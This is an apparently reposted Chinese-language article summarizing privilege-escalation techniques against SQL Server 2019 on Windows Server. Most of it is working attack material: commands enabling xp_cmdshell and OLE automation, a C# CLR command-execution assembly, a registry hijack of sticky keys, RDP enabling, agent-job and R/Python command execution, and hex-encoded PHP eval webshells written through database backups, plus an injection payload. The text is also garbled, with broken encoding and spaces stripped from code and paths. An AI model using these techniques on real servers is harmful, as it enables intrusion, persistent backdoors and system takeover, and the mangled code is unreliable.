1.sqlserver的角色及權(quán)限
sqlserver的角色分為兩種:服務器角色和數(shù)據(jù)庫角色
服務器角色:服務器角色的擁有者只有登入名,服務器角色是固定的,用戶無法創(chuàng)建服務器角色。
數(shù)據(jù)庫角色:數(shù)據(jù)庫角色的擁有者可以是用戶也可以是數(shù)據(jù)庫角色本身,管理員可以創(chuàng)建數(shù)據(jù)庫角色。
在sqlserver中有三種特殊的用戶:
(1)系統(tǒng)管理員(dba權(quán)限),對應服務器角色sysadmin,可以執(zhí)行sqlserver的任何動作,包括數(shù)據(jù)庫操作,文件管理,命令執(zhí)行,注冊表讀取等,為sqlserver最高權(quán)限。
(2)數(shù)據(jù)庫所有者(dbo權(quán)限),對應數(shù)據(jù)庫角色db_owner, 可以執(zhí)行數(shù)據(jù)庫中技術所有動作,包括文件管理,數(shù)據(jù)庫操作等。
(3)public角色是一種特殊的固定角色,數(shù)據(jù)庫的每個合法用戶都屬于該角色。它為數(shù)據(jù)庫中的用戶提供了所有默認權(quán)限。
判斷當前用戶角色(權(quán)限):
(1)判斷是否是sysadmin(dba權(quán)限),執(zhí)行select is_srvrolemember('sysadmin')
(2)判斷是否是db_owner(dbo權(quán)限),執(zhí)行select is_member('db_owner')
(3)判斷是否是public(普通權(quán)限),執(zhí)行select is_srvrolemember('public')/select is_member('public')
2.最新版sqlserver提權(quán)測試(sqlserver2019)
文章測試均在sqlserver2019+win server2019中操作。經(jīng)過測試sqlserver 2019默認安裝,使用dba權(quán)限執(zhí)行whoami不是system權(quán)限,這是因為默認安裝的sqlserver服務不是用系統(tǒng)賬戶啟動的。
如果安裝時或在服務中更改為本地系統(tǒng)賬戶,執(zhí)行命令為system權(quán)限,可以創(chuàng)建用戶提權(quán)。
3.xp_cmdshell(dba權(quán)限)
xp_cmdshell在低版本中默認開啟,由于存在安全隱患,在sqlserver2005以后,xp_cmdshell默認關閉。利用xp_cmdshell執(zhí)行系統(tǒng)命令
--判斷xp_cmdshell是否存在,返回1證明存在xp_cmdshell selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell'
--開啟xp_cmdshell EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE; --關閉xp_cmdshell EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',0;RECONFIGURE;
--執(zhí)行系統(tǒng)命令,sqlserver2019被降權(quán)為mssql權(quán)限 execmaster..xp_cmdshell'xxx'
4.sp_oacreate+sp_oamethod(dba權(quán)限)
在xp_cmdshell被刪除或不能利用是可以考慮利用sp_oacreate,利用前提需要sqlserver sysadmin賬戶服務器權(quán)限為system(sqlserver2019默認被降權(quán)為mssql)。
sp_oacreate 是一個存儲過程,可以刪除、復制、移動文件。
還能配合 sp_oamethod 來寫文件執(zhí)行系統(tǒng)命令。
--判斷sp_oacreate是否存在,返回1證明存在sp_oacreate selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='SP_OACREATE'
--開啟 execsp_configure'showadvancedoptions',1;reconfigure; execsp_configure'oleautomationprocedures',1;reconfigure; --關閉 execsp_configure'showadvancedoptions',1;reconfigure; execsp_configure'oleautomationprocedures',0;reconfigure;
--執(zhí)行系統(tǒng)命令 declare@shellint execsp_oacreate'wscript.shell',@shelloutput execsp_oamethod@shell,'run',null,'C:\Windows\System32\cmd.exe/cwhoami'
直接執(zhí)行命令成功后無回顯。
--回顯執(zhí)行系統(tǒng)命令結(jié)果 declare@shellint,@execint,@textint,@strvarchar(8000) execsp_oacreate'wscript.shell',@shelloutput execsp_oamethod@shell,'exec',@execoutput,'C:\Windows\System32\cmd.exe/cwhoami' execsp_oamethod@exec,'StdOut',@textout execsp_oamethod@text,'readall',@strout select@str;
5.沙盒提權(quán)(dba權(quán)限)
沙盒模式是數(shù)據(jù)庫的一種安全功能。在沙盒模式下,只對控件和字段屬性中的安全且不含惡意代碼的表達式求值。
如果表達式不使用可能以某種方式損壞數(shù)據(jù)的函數(shù)或?qū)傩裕瑒t可認為它是安全的。利用前提需要sqlserver sysadmin賬戶服務器權(quán)限為system(sqlserver2019默認被降權(quán)為mssql),服務器擁有 jet.oledb.4.0 驅(qū)動。
局限:
(1)Microsoft.jet.oledb.4.0一般在32位操作系統(tǒng)上才可以
(2)Windows 2008以上 默認無 Access 數(shù)據(jù)庫文件, 需要自己上傳 sqlserver2015默認禁用Ad Hoc Distributed Queries,需要開啟。
--開啟AdHocDistributedQueries execsp_configure'showadvancedoptions',1;reconfigure; execsp_configure'AdHocDistributedQueries',1;reconfigure; --關閉AdHocDistributedQueries execsp_configure'showadvancedoptions',1;reconfigure; execsp_configure'AdHocDistributedQueries',0;reconfigure;
--關閉沙盒模式 execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0; --恢復默認沙盒模式 execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2;
沙盒模式SandBoxMode參數(shù)含義(默認是2) 0:在任何所有者中禁止啟用安全模式 1:為僅在允許范圍內(nèi) 2:必須在access模式下 3:完全開啟
--查看沙盒模式 execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode'
--執(zhí)行系統(tǒng)命令 select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','selectshell("cmd.exe/cwhoami")')
6.CLR(dba權(quán)限)
Microsoft SQL Server 2005之后,實現(xiàn)了對 Microsoft .NET Framework 的公共語言運行時(CLR)的集成。
CLR 集成使得現(xiàn)在可以使用 .NET Framework 語言編寫代碼,從而能夠在 SQL Server 上運行,現(xiàn)在就可以通過 C# 來編寫 SQL Server 自定義函數(shù)、存儲過程、觸發(fā)器等。
--開啟CLR execsp_configure'showadvancedoptions',1;RECONFIGURE; execsp_configure'clrenabled',1;RECONFIGURE; --關閉CLR execsp_configure'showadvancedoptions',1;RECONFIGURE; execsp_configure'clrenabled',0;RECONFIGURE;
--當導入了不安全的程序集之后,需將數(shù)據(jù)庫標記為可信任的 ALTERDATABASEmasterSETTRUSTWORTHYON;
做完上述準備之后需要編寫一個CLR,首先在本地visual studio中創(chuàng)建一個 SQL Server數(shù)據(jù)庫項目
然后,在項目中添加一個存儲過程
寫入以下代碼,右鍵生成,會在vs的工作目錄項目名稱Database1inDebug下生成四個文件
usingSystem; usingSystem.Diagnostics; usingSystem.Text; usingMicrosoft.SqlServer.Server; publicpartialclassStoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] publicstaticvoidCmdExec(Stringcmd) { //Putyourcodehere SqlContext.Pipe.Send(Command("cmd.exe","/c"+cmd)); } publicstaticstringCommand(stringfilename,stringarguments) { varprocess=newProcess(); process.StartInfo.FileName=filename; if(!string.IsNullOrEmpty(arguments)) { process.StartInfo.Arguments=arguments; } process.StartInfo.CreateNoWindow=true; process.StartInfo.WindowStyle=ProcessWindowStyle.Hidden; process.StartInfo.UseShellExecute=false; process.StartInfo.RedirectStandardError=true; process.StartInfo.RedirectStandardOutput=true; varstdOutput=newStringBuilder(); process.OutputDataReceived+=(sender,args)=>stdOutput.AppendLine(args.Data); stringstdError=null; try { process.Start(); process.BeginOutputReadLine(); stdError=process.StandardError.ReadToEnd(); process.WaitForExit(); } catch(Exceptione) { SqlContext.Pipe.Send(e.Message); } if(process.ExitCode==0) { SqlContext.Pipe.Send(stdOutput.ToString()); } else { varmessage=newStringBuilder(); if(!string.IsNullOrEmpty(stdError)) { message.AppendLine(stdError); } if(stdOutput.Length!=0) { message.AppendLine(stdOutput.ToString()); } SqlContext.Pipe.Send(filename+arguments+"finishedwithexitcode="+process.ExitCode+":"+message); } returnstdOutput.ToString(); } }
之后需要將dll文件注冊進sqlserver,這里有三種方法注冊 (1)采用16進制的方式,無文件落地
CREATEASSEMBLYsp_cmdExec FROM0x--這里寫.sql文件里的 WITHPERMISSION_SET=UNSAFE
(2)將dll文件上傳到目標機器上進行注冊
CREATEASSEMBLYsp_cmdExec FROM'C:UsersAdministratorDesktopDatabase1.dll'--這里寫上傳dll文件的路徑 WITHPERMISSION_SET=UNSAFE
(3)通過 SSMS注冊dll
注冊完成后,創(chuàng)建存儲過程
CREATEPROCEDUREsp_cmdExec @Command[nvarchar](4000) WITHEXECUTEASCALLER AS EXTERNALNAMEsp_cmdExec.StoredProcedures.CmdExec
--執(zhí)行系統(tǒng)命令 EXECsp_cmdExec'whoami';
刪除存儲過程和程序集
DROPPROCEDUREsp_cmdExec;DROPASSEMBLYsp_cmdExec;
7.xp_regwrite映像劫持(dba權(quán)限)
xp_regread 與 xp_regwrite兩個存儲過程腳本可以直接讀取與寫入注冊表,利用regwrite函數(shù)修改注冊表,起到劫持作用。
利用前提sqlserver系統(tǒng)權(quán)限可以修改注冊表。
--判斷xp_rewrite是否存在,返回1證明存在xp_regwrite selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_regwrite'
--開啟 EXECsp_configure'showadvancedoptions',1;RECONFIGURE EXECsp_configure'xp_regwrite',1;RECONFIGURE --關閉 EXECsp_configure'showadvancedoptions',1;RECONFIGURE EXECsp_configure'xp_regwrite',0;RECONFIGURE
修改注冊表來劫持粘滯鍵,將粘滯鍵修改為打開cmd 在sqlserver2019+winserver2019中測試,win defender和火絨均會攔截
--劫持注冊表 EXECmaster..xp_regwrite@rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindowsNTCurrentVersionImageFileExecutionOptionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe' --查看是否劫持成功 EXECmaster..xp_regread'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsNTCurrentVersionImageFileExecutionOptionssethc.exe','Debugger'
劫持成功后連按5次shift會彈出cmd(win defender會攔截彈出的cmd并刪除已經(jīng)劫持的注冊表) 還可以修改注冊表來開啟3389
execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer','fDenyTSConnections','REG_DWORD',0;
8.SQL Server Agent Job(dba權(quán)限)
SQL Server 代理是一項 Microsoft Windows 服務,它執(zhí)行計劃的管理任務,這些任務在 SQL Server 中稱為作業(yè)。
--啟動sqlagent execmaster.dbo.xp_servicecontrol'start','SQLSERVERAGENT'
利用任務計劃命令執(zhí)行,創(chuàng)建任務 test并執(zhí)行命令,將結(jié)果寫入1.txt
--執(zhí)行命令 usemsdb; execsp_delete_jobnull,'test' execsp_add_job'test' execsp_add_jobstepnull,'test',null,'1','cmdexec','cmd/c"whoami>c:/1.txt"' execsp_add_jobservernull,'test',@@servername execsp_start_job'test';
命令執(zhí)行成功后沒有回顯,可以把1.txt寫到表中,再查詢表中內(nèi)容獲取命令回顯。
--查看命令結(jié)果 Usemodel; bulkinsertreadfilefrom'C:1.txt' select*fromreadfile
9.R和python(dbo/dba權(quán)限)
在 SQL Server 2017 及更高版本中,R 與 Python 一起隨附在機器學習服務中。
該服務允許通過 SQL Server 中 sp_execute_external_script 執(zhí)行 Python 和 R 腳本。
利用前提sqlserver系統(tǒng)權(quán)限可以執(zhí)行外部腳本
--開啟和關閉需要dba權(quán)限 --開啟 EXECsp_configure'externalscriptsenabled',1;RECONFIGURE --關閉 EXECsp_configure'externalscriptsenabled',0;RECONFIGURE
--dbo和dba權(quán)限均可執(zhí)行命令 --利用R執(zhí)行命令 EXECsp_execute_external_script @language=N'R', @script=N'OutputDataSet<-?data.frame(system("cmd.exe?/c?dir",intern=T))' WITH?RESULT?SETS?(([cmd_out]?text)); --利用python執(zhí)行命令 exec?sp_execute_external_script @language?=N'Python', @script=N'import?subprocess p?=?subprocess.Popen("cmd.exe?/c?whoami",?stdout=subprocess.PIPE) OutputDataSet?=?pandas.DataFrame([str(p.stdout.read(),?"utf-8")])'
10.差異備份寫webshell(dbo權(quán)限)
dbo和dba都有備份數(shù)據(jù)庫權(quán)限,我們可以把數(shù)據(jù)庫備份成可執(zhí)行腳本文件放到web目錄里,獲得 webshell。利用前提,知道網(wǎng)站絕對路徑且路徑可寫
--生成備份文件 backupdatabasetesttodisk='C:phpstudy_proWWW1.bak'; --創(chuàng)建表并寫入一句話木馬 createtabletest([cmd][image]); Insertintotest(cmd)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e); --將數(shù)據(jù)庫進行差異備份 backupdatabasetesttodisk='C:phpstudy_proWWWshell.php'WITHDIFFERENTIAL,FORMAT;
蟻劍直接連接生成的shell.php
dbo和dba都有備份數(shù)據(jù)庫權(quán)限,我們可以把數(shù)據(jù)庫備份成可執(zhí)行腳本文件放到web目錄里,獲得 webshell。
利用前提(1)知道網(wǎng)站絕對路徑且路徑可寫(2)利用數(shù)據(jù)庫必須存在備份文件
alterdatabasetestsetRECOVERYFULL--將數(shù)據(jù)庫修改為完整模式 createtablecmd(aimage)--新建表 backuplogtesttodisk='c:phpstudy_prowww2.bak'withinit--備份表 insertintocmd(a)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e)--將一句話木馬寫入表中 backuplogtesttodisk='c:phpstudy_prowww2.php'--備份操作日志到指定腳本文件
蟻劍直接連接生成的2.php
12.sp_oacreate+sp_oamethod寫webshell(dba權(quán)限)
在sqlserver2019+win server2019中測試,win defender會報毒并刪除一句話木馬。
declare@oint,@fint,@tint,@retint execsp_oacreate'scripting.filesystemobject',@oout execsp_oamethod@o,'createtextfile',@fout,'C:phpstudy_prowww1.php',1 exec@ret=sp_oamethod@f,'writeline',NULL,''
13.不支持堆疊的情況下執(zhí)行系統(tǒng)命令
select1where1=1if1=1execute('execsp_configure''showadvancedoptions'',1;reconfigure;execsp_configure''xp_cmdshell'',1;reconfigure;execxp_cmdshell''whoami''');
審核編輯:劉清
-
服務器
+關注
關注
12文章
9123瀏覽量
85328 -
SQL
+關注
關注
1文章
762瀏覽量
44117 -
python
+關注
關注
56文章
4792瀏覽量
84628
原文標題:sql server提權(quán)總結(jié)
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關推薦
評論